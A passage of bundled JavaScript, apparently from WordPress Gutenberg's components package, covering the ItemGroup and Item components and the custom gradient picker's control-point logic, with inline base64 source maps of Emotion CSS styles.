36100 medium: /* @__PURE__ */ css("padding:", paddingY, " ", config_values_default.controlPaddingX, "px;" + (false ? "" : ";label:medium;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2R1kiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcblxuZXhwb3J0IGNvbnN0IHVuc3R5bGVkQnV0dG9uID0gKCBhczogJ2EnIHwgJ2J1dHRvbicgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdGJhY2tncm91bmQ6IG5vbmU7XG5cdFx0dGV4dC1hbGlnbjogc3RhcnQ7XG5cdFx0dGV4dC1kZWNvcmF0aW9uOiAkeyBhcyA9PT0gJ2EnID8gJ25vbmUnIDogdW5kZWZpbmVkIH07XG5cblx0XHRzdmcsXG5cdFx0cGF0aCB7XG5cdFx0XHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdFx0fVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMge1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0fVxuXG5cdFx0Jjpmb2N1cy12aXNpYmxlIHtcblx0XHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHQvLyBXaW5kb3dzIGhpZ2ggY29udHJhc3QgbW9kZS5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBpdGVtV3JhcHBlciA9IGNzc2Bcblx0d2lkdGg6IDEwMCU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuYDtcblxuZXhwb3J0IGNvbnN0IGl0ZW0gPSBjc3NgXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luOiAwO1xuXHRjb2xvcjogaW5oZXJpdDtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJlZCA9IGNzc2Bcblx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNlcGFyYXRlZCA9IGNzc2Bcblx0PiAqOm5vdCggbWFycXVlZSApID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0fVxuXG5cdD4gKjpsYXN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItYm90dG9tLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0fVxuYDtcblxuY29uc3QgYm9yZGVyUmFkaXVzID0gQ09ORklHLnJhZGl1c1NtYWxsO1xuXG5leHBvcnQgY29uc3Qgc3BhY2VkQXJvdW5kID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblxuXHQ+ICo6Zmlyc3Qtb2YtdHlwZSA+ICoge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHRcdGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0fVxuXG5cdD4gKjpsYXN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cbmA7XG5cbmNvbnN0IGJhc2VGb250SGVpZ2h0ID0gYGNhbGMoJHsgQ09ORklHLmZvbnRTaXplIH0gKiAkeyBDT05GSUcuZm9udExpbmVIZWlnaHRCYXNlIH0pYDtcblxuLypcbiAqIE1hdGg6XG4gKiAtIFVzZSB0aGUgZGVzaXJlZCBoZWlnaHQgYXMgdGhlIGJhc2UgdmFsdWVcbiAqIC0gU3VidHJhY3QgdGhlIGNvbXB1dGVkIGhlaWdodCBvZiAoZGVmYXVsdCkgdGV4dFxuICogLSBTdWJ0cmFjdCB0aGUgZWZmZWN0cyBvZiBib3JkZXJcbiAqIC0gRGl2aWRlIHRoZSBjYWxjdWxhdGVkIG51bWJlciBieSAyLCBpbiBvcmRlciB0byBnZXQgYW4gaW5kaXZpZHVhbCB0b3AvYm90dG9tIHBhZGRpbmdcbiAqL1xuY29uc3QgcGFkZGluZ1kgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHQgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuY29uc3QgcGFkZGluZ1lTbWFsbCA9IGBjYWxjKCgkeyBDT05GSUcuY29udHJvbEhlaWdodFNtYWxsIH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZTGFyZ2UgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRMYXJnZSB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5cbmV4cG9ydCBjb25zdCBpdGVtU2l6ZXMgPSB7XG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1lTbWFsbCB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCB9cHg7XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZIH0gJHsgQ09ORklHLmNvbnRyb2xQYWRkaW5nWCB9cHg7XG5cdGAsXG5cdGxhcmdlOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1lMYXJnZSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1hMYXJnZSB9cHg7XG5cdGAsXG59O1xuIl19 */"),
36101 large: /* @__PURE__ */ css("padding:", paddingYLarge, " ", config_values_default.controlPaddingXLarge, "px;" + (false ? "" : ";label:large;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnSFciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcblxuZXhwb3J0IGNvbnN0IHVuc3R5bGVkQnV0dG9uID0gKCBhczogJ2EnIHwgJ2J1dHRvbicgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdGJhY2tncm91bmQ6IG5vbmU7XG5cdFx0dGV4dC1hbGlnbjogc3RhcnQ7XG5cdFx0dGV4dC1kZWNvcmF0aW9uOiAkeyBhcyA9PT0gJ2EnID8gJ25vbmUnIDogdW5kZWZpbmVkIH07XG5cblx0XHRzdmcsXG5cdFx0cGF0aCB7XG5cdFx0XHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdFx0fVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMge1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0fVxuXG5cdFx0Jjpmb2N1cy12aXNpYmxlIHtcblx0XHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHQvLyBXaW5kb3dzIGhpZ2ggY29udHJhc3QgbW9kZS5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBpdGVtV3JhcHBlciA9IGNzc2Bcblx0d2lkdGg6IDEwMCU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuYDtcblxuZXhwb3J0IGNvbnN0IGl0ZW0gPSBjc3NgXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luOiAwO1xuXHRjb2xvcjogaW5oZXJpdDtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJlZCA9IGNzc2Bcblx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNlcGFyYXRlZCA9IGNzc2Bcblx0PiAqOm5vdCggbWFycXVlZSApID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0fVxuXG5cdD4gKjpsYXN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItYm90dG9tLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0fVxuYDtcblxuY29uc3QgYm9yZGVyUmFkaXVzID0gQ09ORklHLnJhZGl1c1NtYWxsO1xuXG5leHBvcnQgY29uc3Qgc3BhY2VkQXJvdW5kID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblxuXHQ+ICo6Zmlyc3Qtb2YtdHlwZSA+ICoge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHRcdGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0fVxuXG5cdD4gKjpsYXN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cbmA7XG5cbmNvbnN0IGJhc2VGb250SGVpZ2h0ID0gYGNhbGMoJHsgQ09ORklHLmZvbnRTaXplIH0gKiAkeyBDT05GSUcuZm9udExpbmVIZWlnaHRCYXNlIH0pYDtcblxuLypcbiAqIE1hdGg6XG4gKiAtIFVzZSB0aGUgZGVzaXJlZCBoZWlnaHQgYXMgdGhlIGJhc2UgdmFsdWVcbiAqIC0gU3VidHJhY3QgdGhlIGNvbXB1dGVkIGhlaWdodCBvZiAoZGVmYXVsdCkgdGV4dFxuICogLSBTdWJ0cmFjdCB0aGUgZWZmZWN0cyBvZiBib3JkZXJcbiAqIC0gRGl2aWRlIHRoZSBjYWxjdWxhdGVkIG51bWJlciBieSAyLCBpbiBvcmRlciB0byBnZXQgYW4gaW5kaXZpZHVhbCB0b3AvYm90dG9tIHBhZGRpbmdcbiAqL1xuY29uc3QgcGFkZGluZ1kgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHQgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuY29uc3QgcGFkZGluZ1lTbWFsbCA9IGBjYWxjKCgkeyBDT05GSUcuY29udHJvbEhlaWdodFNtYWxsIH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZTGFyZ2UgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRMYXJnZSB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5cbmV4cG9ydCBjb25zdCBpdGVtU2l6ZXMgPSB7XG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1lTbWFsbCB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCB9cHg7XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZIH0gJHsgQ09ORklHLmNvbnRyb2xQYWRkaW5nWCB9cHg7XG5cdGAsXG5cdGxhcmdlOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1lMYXJnZSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1hMYXJnZSB9cHg7XG5cdGAsXG59O1xuIl19 */")
36102 };
36103
36104 // packages/components/build-module/item-group/context.mjs
36105 var import_element107 = __toESM(require_element(), 1);
36106 var ItemGroupContext = (0, import_element107.createContext)({
36107 size: "medium"
36108 });
36109 ItemGroupContext.displayName = "ItemGroupContext";
36110 var useItemGroupContext = () => (0, import_element107.useContext)(ItemGroupContext);
36111
36112 // packages/components/build-module/item-group/item/hook.mjs
36113 function useItem(props) {
36114 const {
36115 as: asProp,
36116 className: className2,
36117 onClick,
36118 role = "listitem",
36119 size: sizeProp,
36120 ...otherProps
36121 } = useContextSystem(props, "Item");
36122 const {
36123 spacedAround: spacedAround2,
36124 size: contextSize
36125 } = useItemGroupContext();
36126 const size3 = sizeProp || contextSize;
36127 const as = asProp || (typeof onClick !== "undefined" ? "button" : "div");
36128 const cx3 = useCx();
36129 const classes = (0, import_element108.useMemo)(() => cx3((as === "button" || as === "a") && unstyledButton(as), itemSizes[size3] || itemSizes.medium, item, spacedAround2 && spacedAround, className2), [as, className2, cx3, size3, spacedAround2]);
36130 const wrapperClassName = cx3(itemWrapper);
36131 return {
36132 as,
36133 className: classes,
36134 onClick,
36135 wrapperClassName,
36136 role,
36137 ...otherProps
36138 };
36139 }
36140
36141 // packages/components/build-module/item-group/item/component.mjs
36142 var import_jsx_runtime171 = __toESM(require_jsx_runtime(), 1);
36143 function UnconnectedItem(props, forwardedRef) {
36144 const {
36145 role,
36146 wrapperClassName,
36147 ...otherProps
36148 } = useItem(props);
36149 return /* @__PURE__ */ (0, import_jsx_runtime171.jsx)("div", {
36150 role,
36151 className: wrapperClassName,
36152 children: /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(component_default, {
36153 ...otherProps,
36154 ref: forwardedRef
36155 })
36156 });
36157 }
36158 var Item2 = contextConnect(UnconnectedItem, "Item");
36159 var component_default35 = Item2;
36160
36161 // packages/components/build-module/item-group/item-group/hook.mjs
36162 function useItemGroup(props) {
36163 const {
36164 className: className2,
36165 isBordered = false,
36166 isRounded = true,
36167 isSeparated = false,
36168 role = "list",
36169 ...otherProps
36170 } = useContextSystem(props, "ItemGroup");
36171 const cx3 = useCx();
36172 const classes = cx3(isBordered && bordered, isSeparated && separated, isRounded && rounded2, className2);
36173 return {
36174 isBordered,
36175 className: classes,
36176 role,
36177 isSeparated,
36178 ...otherProps
36179 };
36180 }
36181
36182 // packages/components/build-module/item-group/item-group/component.mjs
36183 var import_jsx_runtime172 = __toESM(require_jsx_runtime(), 1);
36184 function UnconnectedItemGroup(props, forwardedRef) {
36185 const {
36186 isBordered,
36187 isSeparated,
36188 size: sizeProp,
36189 ...otherProps
36190 } = useItemGroup(props);
36191 const {
36192 size: contextSize
36193 } = useItemGroupContext();
36194 const spacedAround2 = !isBordered && !isSeparated;
36195 const size3 = sizeProp || contextSize;
36196 const contextValue = {
36197 spacedAround: spacedAround2,
36198 size: size3
36199 };
36200 return /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(ItemGroupContext.Provider, {
36201 value: contextValue,
36202 children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(component_default, {
36203 ...otherProps,
36204 ref: forwardedRef
36205 })
36206 });
36207 }
36208 var ItemGroup = contextConnect(UnconnectedItemGroup, "ItemGroup");
36209 var component_default36 = ItemGroup;
36210
36211 // packages/components/build-module/gradient-picker/index.mjs
36212 var import_i18n34 = __toESM(require_i18n(), 1);
36213 var import_compose42 = __toESM(require_compose(), 1);
36214 var import_element111 = __toESM(require_element(), 1);
36215
36216 // packages/components/build-module/custom-gradient-picker/index.mjs
36217 var import_i18n33 = __toESM(require_i18n(), 1);
36218
36219 // packages/components/build-module/custom-gradient-picker/gradient-bar/index.mjs
36220 var import_element110 = __toESM(require_element(), 1);
36221
36222 // packages/components/build-module/custom-gradient-picker/gradient-bar/control-points.mjs
36223 var import_compose41 = __toESM(require_compose(), 1);
36224 var import_element109 = __toESM(require_element(), 1);
36225 var import_i18n31 = __toESM(require_i18n(), 1);
36226
36227 // packages/components/build-module/custom-gradient-picker/gradient-bar/constants.mjs
36228 var GRADIENT_MARKERS_WIDTH = 16;
36229 var INSERT_POINT_WIDTH = 16;
36230 var MINIMUM_DISTANCE_BETWEEN_INSERTER_AND_POINT = 10;
36231 var MINIMUM_DISTANCE_BETWEEN_POINTS = 0;
36232 var MINIMUM_SIGNIFICANT_MOVE = 5;
36233 var KEYBOARD_CONTROL_POINT_VARIATION = MINIMUM_DISTANCE_BETWEEN_INSERTER_AND_POINT;
36234 var MINIMUM_DISTANCE_BETWEEN_INSERTER_AND_MARKER = (INSERT_POINT_WIDTH + GRADIENT_MARKERS_WIDTH) / 2;
36235
36236 // packages/components/build-module/custom-gradient-picker/gradient-bar/utils.mjs
36237 function clampPercent(value) {
36238 return Math.max(0, Math.min(100, value));
36239 }
36240 function isOverlapping(value, initialIndex, newPosition, minDistance = MINIMUM_DISTANCE_BETWEEN_POINTS) {
36241 const initialPosition = value[initialIndex].position;
36242 const minPosition = Math.min(initialPosition, newPosition);
36243 const maxPosition = Math.max(initialPosition, newPosition);
36244 return value.some(({
36245 position: position2
36246 }, index2) => {
36247 return index2 !== initialIndex && (Math.abs(position2 - newPosition) < minDistance || minPosition < position2 && position2 < maxPosition);
36248 });
36249 }
36250 function addControlPoint(points, position2, color2) {
36251 const nextIndex = points.findIndex((point) => point.position > position2);
36252 const newPoint = {
36253 color: color2,
36254 position: position2
36255 };
36256 const newPoints = points.slice();
36257 newPoints.splice(nextIndex - 1, 0, newPoint);
36258 return newPoints;
36259 }
36260 function removeControlPoint(points, index2) {
36261 return points.filter((_point, pointIndex) => {
36262 return pointIndex !== index2;
36263 });
36264 }
36265 function updateControlPoint(points, index2, newPoint) {
36266 const newValue = points.slice();
36267 newValue[index2] = newPoint;
36268 return newValue;
36269 }
36270 function updateControlPointPosition(points, index2, newPosition) {
36271 if (isOverlapping(points, index2, newPosition)) {
36272 return points;
36273 }
36274 const newPoint = {
36275 ...points[index2],
36276 position: newPosition
36277 };
36278 return updateControlPoint(points, index2, newPoint);
36279 }
36280 function updateControlPointColor(points, index2, newColor) {
36281 const newPoint = {
36282 ...points[index2],
36283 color: newColor
36284 };
36285 return updateControlPoint(points, index2, newPoint);
36286 }
36287 function updateControlPointColorByPosition(points, position2, newColor) {
36288 const index2 = points.findIndex((point) => point.position === position2);
36289 return updateControlPointColor(points, index2, newColor);
36290 }
36291 function getHorizontalRelativeGradientPosition(mouseXCoordinate, containerElement) {
36292 if (!containerElement) {
36293 return;
36294 }
36295 const {
36296 x: x2,
36297 width
36298 } = containerElement.getBoundingClientRect();
36299 const absolutePositionValue = mouseXCoordinate - x2;
36300 return Math.round(clampPercent(absolutePositionValue * 100 / width));
36301 }
36302
36303 // packages/components/build-module/custom-gradient-picker/gradient-bar/control-points.mjs
36304 var import_jsx_runtime173 = __toESM(require_jsx_runtime(), 1);
36305 function ControlPointButton({
36306 isOpen,
36307 position: position2,
36308 color: color2,
36309 ...additionalProps
36310 }) {
36311 const instanceId = (0, import_compose41.useInstanceId)(ControlPointButton);
36312 const descriptionId = `components-custom-gradient-picker__control-point-button-description-${instanceId}`;
36313 return /* @__PURE__ */ (0, import_jsx_runtime173.jsxs)(import_jsx_runtime173.Fragment, {
36314 children: [/* @__PURE__ */ (0, import_jsx_runtime173.jsx)(button_default, {
36315 "aria-label": (0, import_i18n31.sprintf)(
36316 // translators: 1: gradient position e.g: 70. 2: gradient color code e.g: rgb(52,121,151).
36317 (0, import_i18n31.__)("Gradient control point at position %1$d%% with color code %2$s."),
36318 position2,
36319 color2
36320 ),
36321 "aria-describedby": descriptionId,
36322 "aria-haspopup": "true",
36323 "aria-expanded": isOpen,
36324 __next40pxDefaultSize: true,
36325 className: clsx_default("components-custom-gradient-picker__control-point-button", {
36326 "is-active": isOpen
36327 }),
36328 ...additionalProps
36329 }), /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(component_default2, {
36330 id: descriptionId,
36331 children: (0, import_i18n31.__)("Use your left or right arrow keys or drag and drop with the mouse to change the gradient position. Press the button to change the color or remove the control point.")
36332 })]
36333 });
36334 }
36335 function GradientColorPickerDropdown({
36336 isRenderedInSidebar,
36337 className: className2,
36338 ...props
36339 }) {
36340 const popoverProps = (0, import_element109.useMemo)(() => ({
36341 placement: "bottom",
36342 offset: 8,
36343 // Disabling resize as it would otherwise cause the popover to show
36344 // scrollbars while dragging the color picker's handle close to the
36345 // popover edge.
36346 resize: false
36347 }), []);
36348 const mergedClassName = clsx_default("components-custom-gradient-picker__control-point-dropdown", className2);
36349 return /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(CustomColorPickerDropdown, {
36350 isRenderedInSidebar,
36351 popoverProps,
36352 className: mergedClassName,
36353 ...props
36354 });
36355 }
36356 function ControlPoints({
36357 disableRemove,
36358 disableAlpha,
36359 gradientPickerDomRef,
36360 ignoreMarkerPosition,
36361 value: controlPoints,
36362 onChange,
36363 onStartControlPointChange,
36364 onStopControlPointChange,
36365 __experimentalIsRenderedInSidebar
36366 }) {
36367 const controlPointMoveStateRef = (0, import_element109.useRef)(void 0);
36368 const onMouseMove = (event) => {
36369 if (controlPointMoveStateRef.current === void 0 || gradientPickerDomRef.current === null) {
36370 return;
36371 }
36372 const relativePosition = getHorizontalRelativeGradientPosition(event.clientX, gradientPickerDomRef.current);
36373 const {
36374 initialPosition,
36375 index: index2,
36376 significantMoveHappened
36377 } = controlPointMoveStateRef.current;
36378 if (!significantMoveHappened && Math.abs(initialPosition - relativePosition) >= MINIMUM_SIGNIFICANT_MOVE) {
36379 controlPointMoveStateRef.current.significantMoveHappened = true;
36380 }
36381 onChange(updateControlPointPosition(controlPoints, index2, relativePosition));
36382 };
36383 const cleanEventListeners = () => {
36384 if (window && window.removeEventListener && controlPointMoveStateRef.current && controlPointMoveStateRef.current.listenersActivated) {
36385 window.removeEventListener("mousemove", onMouseMove);
36386 window.removeEventListener("mouseup", cleanEventListeners);
36387 onStopControlPointChange();
36388 controlPointMoveStateRef.current.listenersActivated = false;
36389 }
36390 };
36391 const cleanEventListenersRef = (0, import_element109.useRef)(void 0);
36392 cleanEventListenersRef.current = cleanEventListeners;
36393 (0, import_element109.useEffect)(() => {
36394 return () => {
36395 cleanEventListenersRef.current?.();
36396 };
36397 }, []);
36398 return /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(import_jsx_runtime173.Fragment, {
36399 children: controlPoints.map((point, index2) => {
36400 const initialPosition = point?.position;
36401 return ignoreMarkerPosition !== initialPosition && /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(GradientColorPickerDropdown, {
36402 isRenderedInSidebar: __experimentalIsRenderedInSidebar,
36403 onClose: onStopControlPointChange,
36404 renderToggle: ({
36405 isOpen,
36406 onToggle
36407 }) => /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(ControlPointButton, {
36408 onClick: () => {
36409 if (controlPointMoveStateRef.current && controlPointMoveStateRef.current.significantMoveHappened) {
36410 return;
36411 }
36412 if (isOpen) {
36413 onStopControlPointChange();
36414 } else {
36415 onStartControlPointChange();
36416 }
36417 onToggle();
36418 },
36419 onMouseDown: () => {
36420 if (window && window.addEventListener) {
36421 controlPointMoveStateRef.current = {
36422 initialPosition,
36423 index: index2,
36424 significantMoveHappened: false,
36425 listenersActivated: true
36426 };
36427 onStartControlPointChange();
36428 window.addEventListener("mousemove", onMouseMove);
36429 window.addEventListener("mouseup", cleanEventListeners);
36430 }
36431 },
36432 onKeyDown: (event) => {
36433 if (event.code === "ArrowLeft") {
36434 event.stopPropagation();
36435 onChange(updateControlPointPosition(controlPoints, index2, clampPercent(point.position - KEYBOARD_CONTROL_POINT_VARIATION)));
36436 } else if (event.code === "ArrowRight") {
36437 event.stopPropagation();
36438 onChange(updateControlPointPosition(controlPoints, index2, clampPercent(point.position + KEYBOARD_CONTROL_POINT_VARIATION)));
36439 }
36440 },
36441 isOpen,
36442 position: point.position,
36443 color: point.color
36444 }, index2),
36445 renderContent: ({
36446 onClose
36447 }) => /* @__PURE__ */ (0, import_jsx_runtime173.jsxs)(dropdown_content_wrapper_default, {
36448 paddingSize: "none",
36449 children: [/* @__PURE__ */ (0, import_jsx_runtime173.jsx)(LegacyAdapter, {
36450 enableAlpha: !disableAlpha,
36451 color: point.color,
36452 onChange: (color2) => {
36453 onChange(updateControlPointColor(controlPoints, index2, w(color2).toRgbString()));
36454 }
36455 }), !disableRemove && controlPoints.length > 2 && /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(component_default9, {
36456 className: "components-custom-gradient-picker__remove-control-point-wrapper",
36457 alignment: "center",
36458 children: /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(button_default, {
36459 onClick: () => {
36460 onChange(removeControlPoint(controlPoints, index2));
36461 onClose();
36462 },
36463 variant: "link",
36464 children: (0, import_i18n31.__)("Remove Control Point")
36465 })
36466 })]
36467 }),
36468 style: {
36469 left: `${point.position}%`,
36470 transform: "translateX( -50% )"
36471 }
36472 }, index2);
36473 })
36474 });
36475 }
36476 function InsertPoint({
36477 value: controlPoints,
36478 onChange,
36479 onOpenInserter,
36480 onCloseInserter,
36481 insertPosition,
36482 disableAlpha,
36483 __experimentalIsRenderedInSidebar
36484 }) {
36485 const [alreadyInsertedPoint, setAlreadyInsertedPoint] = (0, import_element109.useState)(false);
36486 return /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(GradientColorPickerDropdown, {
36487 isRenderedInSidebar: __experimentalIsRenderedInSidebar,
36488 className: "components-custom-gradient-picker__inserter",
36489 onClose: () => {
36490 onCloseInserter();
36491 },
36492 renderToggle: ({
36493 isOpen,
36494 onToggle
36495 }) => /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(button_default, {
36496 __next40pxDefaultSize: true,
36497 "aria-expanded": isOpen,
36498 "aria-haspopup": "true",
36499 onClick: () => {
36500 if (isOpen) {
36501 onCloseInserter();
36502 } else {
36503 setAlreadyInsertedPoint(false);
36504 onOpenInserter();
36505 }
36506 onToggle();
36507 },
36508 className: "components-custom-gradient-picker__insert-point-dropdown",
36509 icon: plus_default
36510 }),
36511 renderContent: () => /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(dropdown_content_wrapper_default, {
36512 paddingSize: "none",
36513 children: /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(LegacyAdapter, {
36514 enableAlpha: !disableAlpha,
36515 onChange: (color2) => {
36516 if (!alreadyInsertedPoint) {
36517 onChange(addControlPoint(controlPoints, insertPosition, w(color2).toRgbString()));
36518 setAlreadyInsertedPoint(true);
36519 } else {
